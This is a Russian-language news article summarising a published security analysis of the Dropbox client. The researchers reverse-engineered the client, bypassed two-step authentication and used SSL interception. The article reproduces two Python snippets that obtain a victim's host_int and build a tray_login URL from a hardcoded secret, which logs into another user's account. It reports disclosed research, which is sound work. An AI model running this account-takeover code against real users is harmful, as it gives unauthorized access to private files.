Специалисты по безопасности из CodePainters, Openwall и университета Британской Колумбии опубликовали подробный анализ веб-сервиса для хостинга и синхронизации файлов Dropbox.

Dropbox — известная компания, услугами которой пользуется более 100 миллионов человек, в то же время ее еще ни разу не подвергали тщательному независимому аудиту. Клиентские приложения Dropbox для десятка платформ написаны на Python, но их код обфусцирован, а программные интерфейсы не задокументированы. Поэтому данная работа имеет большое общественное значение. В конце концов, перед тем как доверить свою информацию облачному хостингу, пользователи имеют право знать, как работает в нем криптографическая защита и насколько безопасен сам сервис.

Авторы работы использовали новые и известные техники для реверс-инжиниринга Python-приложений Dropbox, обхода двухэтапной авторизации и взлома аккаунтов Dropbox. Кроме того, дополнительные методы использовались для перехвата SSL с инъекциями кода.

Авторы проделали большую и важную работу по реверс-инжинирингу программы. Одно из наиболее важных открытий — то, что для авторизации на сайте под любым аккаунтом достаточно знать два специфических значения для этого аккаунта: host_id и host_int. Первое из них можно извлечь из зашифрованной базы данных SQLite или из оперативной памяти компьютера жертвы. Исследователи нашли способ извлечь его даже из логов клиентского приложения Dropbox (они нашли способ и принудительно активировать запись логов с помощью плагина для Metasploit). Второе значение легко перехватить из трафика, используя плагин для Ettercap, это значение приходит от сервера при загрузке и не меняется, так что можно его просто запросить у сервера!

import json
import requests

host_id = 

data = ("buildno=Dropbox-win-1.7.5&tag="
        "&uuid=123456&server_list=True&"
        "host_id=%s&hostname=random"
        % host_id)

base_url = ’https://client10.dropbox.com’
url = base_url + ’/register_host’

headers = {’content-type’: \
   ’application/x-www-form-urlencoded’, \
   ’User-Agent’: "Dropbox ARM" }

r = requests.post(url, data=data,
    headers=headers)

data = json.loads(r.text)
host_int = data["host_int"]

Когда host_id и host_int от чужого аккаунта известны, авторизация осуществляется с помощью такого кода:

import hashlib
import time

host_id = 
host_int = 

now = int(time.time())

fixed_secret = ’sKeevie4jeeVie9bEen5baRFin9’

h = hashlib.sha1(’%s%s%d’% (fixed_secret,
    host_id, now)).hexdigest()

url = ("https://www.dropbox.com/tray_login?"
       "i=%d&t=%d&v=%s&url=home&cl=en" %
        (host_int, now, h))

Цель данной работы — приоткрыть «черную коробочку» Dropbox и посмотреть, как она устроена внутри. Авторы исследования предоставили всю необходимую информацию для создания свободной версии Dropbox-клиента, которая использует проприетарные API сервиса Dropbox.



Оставить мнение